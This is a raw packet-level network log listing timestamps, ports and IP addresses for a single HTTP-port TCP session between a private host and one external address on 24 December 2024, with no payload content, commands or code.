Dec 24, 2024 12:39:39.671107054 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.671160936 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.671176910 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.671221972 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.671935081 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.671988010 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.672005892 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.672048092 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.672807932 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.672868013 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.672873020 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.672885895 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.672987938 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.673681021 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.673726082 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.673742056 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.673800945 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.674562931 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.674587965 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.674603939 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.674618959 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.674653053 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.759596109 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.759674072 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.759691000 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.759749889 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.760016918 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.760068893 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.760106087 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.760634899 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.760736942 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.760754108 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.760796070 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.760840893 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.761554003 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.761570930 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.761586905 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.761657000 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.762327909 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.762387037 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.762423992 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.762440920 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.762481928 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.794378042 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.794440985 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.794449091 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.794492960 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.794852972 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.794912100 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.794919968 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.794959068 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.794971943 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.795684099 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.795758963 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.795767069 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.795855999 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.796569109 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.796618938 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.796627045 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.796639919 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.796681881 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.797451019 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.797498941 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.797508001 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.797554016 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.798470974 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.798511982 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.798520088 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.798542976 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.798563004 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.799216032 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.799273014 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.799280882 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.799324989 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.800111055 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.800172091 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.800179005 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.800189972 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.800228119 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.800961971 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.801019907 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.801035881 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.801079035 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.801837921 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.801893950 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.801898003 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.801908016 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.801944971 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.802732944 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.802752018 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.802792072 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.802831888 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.803669930 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.803709030 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.803716898 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.803745985 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.803774118 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.804482937 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.804543018 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.804552078 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.804619074 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.805383921 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.805480957 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.805490017 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.805540085 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.806227922 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.806282997 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.806289911 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.806318998 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.807120085 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.807168007 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.807178020 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.807243109 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.807998896 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.808067083 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.808074951 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.808124065 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.808917046 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.808957100 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.808965921 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.808978081 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.809005976 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.809865952 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.809875011 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.809890985 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.809927940 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.810632944 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.810683012 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.810684919 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.810699940 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.810758114 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.811508894 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.811547041 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.811556101 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.811599970 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.812426090 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.812434912 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.812443972 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.812478065 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.812504053 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.813230038 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.860161066 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.860219002 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.860227108 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.860229015 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.860311031 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.860596895 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.860702991 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.860712051 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.860755920 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.861428976 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.861486912 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.861644030 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.861696005 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.861705065 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.861752987 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.862577915 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.862586975 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.862596035 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.862639904 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.863389015 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.863442898 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.863451958 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.863517046 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.864295006 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.864341021 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.864351034 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.864360094 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.864392042 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.865189075 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.865211010 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.865226030 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.865267992 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.866094112 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.866173029 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.866182089 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.866225004 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.866966963 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.867062092 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.867697954 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.952023029 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.952080011 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.952095985 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.952171087 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.952440023 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.952485085 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.952500105 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.952501059 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.952553988 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.953321934 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.953388929 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.953397036 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.953447104 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.954268932 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.954277992 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.954287052 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.954330921 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.955100060 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.955183983 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.955810070 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.986629009 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.986686945 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.986702919 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.986871958 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.987127066 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.987195969 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.987222910 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.987232924 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.987287998 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.988212109 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.988234043 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.988250971 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.988289118 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.989021063 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.989187002 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.989247084 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.989317894 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.989366055 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.989782095 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.989830971 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.989849091 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.989892960 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.990549088 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.990592003 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.990601063 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.990612984 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.990684986 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.991430998 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.991482973 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.991492987 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.991537094 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.992305040 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.992326021 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.992342949 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.992386103 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.993155003 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.993182898 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.993191957 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.993242025 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.994030952 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.994091988 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.994112968 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.994153023 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.994179010 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.994930029 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.994950056 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.994957924 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.995006084 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.995871067 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.995928049 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.995937109 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.995994091 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.996753931 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.996762991 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.996772051 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.996818066 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.997677088 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.997685909 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.997704983 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.997740030 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.997760057 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.998430967 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.998469114 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.998477936 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.998516083 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.999376059 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.999403954 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.999417067 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.999465942 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.000262022 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.000339031 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.000344038 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.000402927 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.001146078 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.001213074 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.001249075 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.001255989 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.001308918 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.001976967 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.002046108 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.002052069 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.002103090 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.002862930 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.002913952 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.002916098 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.002919912 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.002985954 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.003801107 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.003807068 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.003818989 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.003864050 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.004607916 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.004697084 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.004703045 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.004756927 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.005450964 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.051038027 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.052504063 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.052545071 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.052556992 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.052745104 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.052900076 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.052956104 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.052958965 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.052963018 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.053011894 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.053783894 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.053972006 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.054033041 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.054037094 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.054090977 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.054840088 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.054898977 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.054904938 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.054953098 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.055727005 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.055795908 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.055797100 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.055802107 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.055850983 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.056617975 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.056690931 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.056695938 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.056752920 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.057488918 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.057518005 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.057523966 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.057558060 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.057598114 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.058327913 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.058381081 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.058387041 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.058459044 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.059226990 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.059284925 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.059329033 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.113641977 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:40.144299030 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.144349098 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:40.144356012 CET	80	49727	185.215.113.16	192.168.2.5
